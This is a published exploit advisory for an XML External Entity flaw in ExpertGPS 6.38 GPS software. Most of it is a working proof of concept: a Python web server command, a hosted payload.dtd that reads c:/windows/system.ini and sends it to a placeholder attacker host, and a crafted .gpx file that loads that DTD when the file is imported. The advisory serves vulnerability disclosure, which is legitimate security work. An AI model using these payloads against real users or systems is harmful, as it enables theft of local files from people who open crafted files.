ExpertGPS 6.38 XML Injection

2020.02.11
Credit: Trent Gordon
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

[+] Exploit Title: ExpertGPS 6.38 - XML External Entity Injection [+] Date: 2019-12-07 [+] Exploit Author: Trent Gordon [+] Vendor Homepage: https://www.topografix.com/ [+] Software Link: http://download.expertgps.com/SetupExpertGPS.exe [+] Disclosed at: 7FEB2020 [+] Version: 6.38 [+] Tested on: Windows 10 [+] CVE: N/A ================== Background: ================== ExpertGPS 6.38 is GPS software, distributed by TopoGrafix, that is designed to sync with commercial off-the-shelf GPS devices (Garmin, Magellin, etc.) and organize GPS waypoint data. One of the main file formats for saving GPS data is the .gpx format which is based on XML. ================== Vulnerability: ================== By having a user import a crafted .gpx file (XML Based GPS data file), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker. 1.)Open ExpertGPS.exe 2.)Select File -> Import Data from Other Programs... 3.)Select the crafted route.gpx file (with listener open on ATTACKERS-IP) and click "Open". ================== Proof of Concept: ================== a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd) b.) Hosted "payload.dtd" <?xml version="1.0" encoding="utf-8" ?> <!ENTITY % data SYSTEM "file:///c:/windows/system.ini"> <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>"> c.) Exploited "route.xml" <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/payload.dtd"> %sp; %param1; %exfil; ]> <gpx xmlns="http://www.topografix.com/GPX/1/1" version="1.1" creator="ExpertGPS 6.38 using Garmin Colorado 400t" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wptx1="http://www.garmin.com/xmlschemas/WaypointExtension/v1" xmlns:gpxx="http://www.garmin.com/xmlschemas/GpxExtensions/v3" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd http://www.topografix.com/GPX/gpx_overlay/0/3 http://www.topografix.com/GPX/gpx_overlay/0/3/gpx_overlay.xsd http://www.topografix.com/GPX/gpx_modified/0/1 http://www.topografix.com/GPX/gpx_modified/0/1/gpx_modified.xsd http://www.topografix.com/GPX/Private/TopoGrafix/0/4 http://www.topografix.com/GPX/Private/TopoGrafix/0/4/topografix.xsd http://www.garmin.com/xmlschemas/WaypointExtension/v1 http://www8.garmin.com/xmlschemas/WaypointExtensionv1.xsd http://www.garmin.com/xmlschemas/GpxExtensions/v3 http://www.garmin.com/xmlschemas/GpxExtensionsv3.xsd"> <metadata> <bounds minlat="38.89767500" minlon="-77.03654700" maxlat="38.89767500" maxlon="-77.03654700"/> <extensions> <time xmlns="http://www.topografix.com/GPX/gpx_modified/0/1">2019-12-08T03:35:44.731Z</time> <active_point xmlns="http://www.topografix.com/GPX/Private/TopoGrafix/0/4" lat="38.89767500" lon="-77.03654700"> </active_point> </extensions> </metadata> <wpt lat="38.89767500" lon="-77.03654700"> <time>2019-12-08T03:35:44.732Z</time> <name>1600PennsylvaniaAvenuenWashingt</name> <cmt>1600 Pennsylvania Avenue Washington</cmt> <desc>1600 Pennsylvania Avenue Washington, DC 20500</desc> <sym>City (Small)</sym> <type>Address</type> <extensions> <label xmlns="http://www.topografix.com/GPX/gpx_overlay/0/3"> <label_text>1600 Pennsylvania Avenue Washington, DC 20500</label_text> </label> <gpxx:WaypointExtension> <gpxx:Address> <gpxx:StreetAddress>1600 Pennsylvania Avenue</gpxx:StreetAddress> <gpxx:City>Washington</gpxx:City> <gpxx:State>DC</gpxx:State> <gpxx:Country>United States</gpxx:Country> <gpxx:PostalCode>20500</gpxx:PostalCode> </gpxx:Address> </gpxx:WaypointExtension> <wptx1:WaypointExtension> <wptx1:Address> <wptx1:StreetAddress>1600 Pennsylvania Avenue</wptx1:StreetAddress> <wptx1:City>Washington</wptx1:City> <wptx1:State>DC</wptx1:State> <wptx1:Country>United States</wptx1:Country> <wptx1:PostalCode>20500</wptx1:PostalCode> </wptx1:Address> </wptx1:WaypointExtension> </extensions> </wpt> <extensions> </extensions> </gpx> ================== Additional Attack Vectors: ================== There are numerous places in the software that allow for importing/opening a .gpx file. I did not test them all, but I strongly suspect them to all rely upon the same misconfigured XML Parser, and therefore be vulnerable to XXE.


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